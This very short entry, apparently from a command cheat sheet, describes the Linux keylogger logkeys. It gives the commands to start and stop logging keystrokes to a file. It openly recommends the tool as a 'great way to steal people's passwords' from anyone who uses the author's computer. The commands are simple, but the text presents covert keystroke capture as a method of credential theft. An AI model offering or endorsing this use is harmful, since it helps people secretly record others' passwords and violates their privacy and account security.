logkeys Writes all key presses to a file. Great way to steal people's passwords if they use your computer. Start logging: sudo logkeys -s End logging: sudo logkeys -k